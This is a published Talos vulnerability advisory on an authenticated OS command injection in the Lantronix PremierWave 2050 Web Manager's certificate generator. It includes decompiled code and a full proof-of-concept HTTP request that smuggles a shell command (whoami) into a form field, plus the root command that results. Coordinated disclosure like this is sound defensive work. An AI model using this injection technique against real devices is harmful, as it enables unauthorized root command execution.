Talos Vulnerability Report

TALOS-2021-1332

Lantronix PremierWave 2050 Web Manager SslGenerateCertificate OS command injection vulnerability

NOVEMBER 15, 2021

CVE NUMBER

CVE-2021-21888

Summary

An OS command injection vulnerability exists in the Web Manager SslGenerateCertificate functionality of Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU). A specially crafted HTTP request can lead to arbitrary command execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

Tested Versions

Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU)

Product URLs

https://www.lantronix.com/products/premierwave2050/

CVSSv3 Score

9.1 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

Details

PremierWave 2050 is an embedded Wi-Fi Module manufactured by Lantronix.

The PremierWave 2050 Web Manager provides an SSL certificate generator for use by authenticated and authorized users. The implementation of this feature relies on a `system` call to the `openssl` application. This command is composed of several unsanitized and unverified attacker-controlled HTTP Post parameters. The command is executed with root privileges.

Included below is a partial decompilation of the relevant portions of the exploitable function.

```
int __fastcall sub_95B70(http_struct* a1) {
    if ( !IsGroupListWritable("ssl") ) {
        // User does not have `ssl` authorization
        error();
    }

    credname = get_POST_parameter("sslcredentialname");
    country = get_POST_parameter("c");
    keytype = get_POST_parameter("keytype");
    state = get_POST_parameter("s");
    locality = get_POST_parameter("l");
    organization = get_POST_parameter("o");
    organizational_unit = get_POST_parameter("ou");
    common_name = get_POST_parameter("cn");
    expires = get_POST_parameter("expires");
    bits_s = get_POST_param("bits");
    curve_bits_s = get_POST_param("curve_bits");

    ...

    if ( !country || !*country || strlen(country) != 2 ) { error(); }
    if ( !state || !*state ) { error(); }
    if ( !locality || !*locality ) { error(); }
    if ( !organization || !*organization ) { error(); }
    if ( !organizational_unit || !*organizational_unit ) { error(); }
    if ( !common_name || !*common_name ) { error(); }
    if ( !expires || !*expires ) { error(); }

    ...

    SslCertificateGenerate(country, state, locality, organization, organizational_unit, common_name, expires, curve_bits, algorithm,
credname, sub_C01AC, a1);

    ...
}


int __fastcall SslCertificateGenerate(
    char* country,
    char* state,
    char* locality,
    char* organization,
    char* organizational_unit,
    char* common_name,
    char* expires,
    unsigned __int16 curve_bits,
    int algorithm,
    const char *credname,
    void (__fastcall *func)(const char *, int),
    http_struct* a12)
{
   SSLCertificateGenerate_struct cert_info;
   cert_info.country = country;
   cert_info.state = state;
   cert_info.locality = locality;
   cert_info.organization = organization;
   cert_info.organizational_unit = organizational_unit;
   cert_info.common_name = common_name;

   ...

   SSLCert_create(&cert_info, expires, curve_bits, algorithm);

   ...
}

void ** __fastcall SSLCert_create(SSLCertificateGenerate_struct *cert_info, char* expires, unsigned __int16 curve_bits, int algorithm) {
    char command[512];
    int remaining_bytes = 512;
    strcat_safe(command, "openssl req -x509 -nodes -sha256", &remaining_bytes);

    ...

    if ( cert_info->country && *cert_info->country )
        strcat_safe(command, "/C=", &remaining_bytes);
    if ( cert_info->state && *cert_info->state )
        strcat_safe(command, "/ST=", &remaining_bytes);
    if ( cert_info->locality && *cert_info->locality )
        strcat_safe(command, "/L=", &remaining_bytes);
    if ( cert_info->organization && *cert_info->organization)
        strcat_safe(command, "/O=", &remaining_bytes);

    ...

    if ( mpnipc_proxy_shell_cmd(command, 0) ) {
        error();
    }

    ...
}
```

As indicated above, a majority of the parameters that allow arbitrary strings can be used to inject into the vulnerable `system` call contained on the other side of `mpnipc_proxy_shell_cmd`. In the below example, `s` is used but `l`, `o`, `ou`, and `cn` are equally exploitable.

```
POST / HTTP/1.1
Host: [IP]:[PORT]
Content-Length: 160
Authorization: Basic YnJvd25pZTpwb2ludHM=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

ajax=SslGenerateCertificate&c=AU&l=city&o=Internet+Widgits+Pty+Ltd&ou=section&cn=example.com&keytype=RSA&bits=2048&expires=06%2F04%2F2023&ss
lcredentialname=Test&submit=Submit&s='; whoami #
```

This request results in the following command being executed as root.

```
sh -c openssl req -new -nodes -sha256 -subj '/C=AU/ST='; whoami #
```

Timeline

2021-06-14 - Vendor Disclosure
2021-06-15 - Vendor acknowledged
2021-09-01 - Talos granted disclosure extension to 2021-10-15
2021-10-18 - Vendor requested release push to 2nd week of November. Talos confirmed final extension and disclosure date
2021-11-15 - Public Release

CREDIT

Discovered by Matt Wiseman of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT TALOS-2021-1331

NEXT REPORT TALOS-2021-1333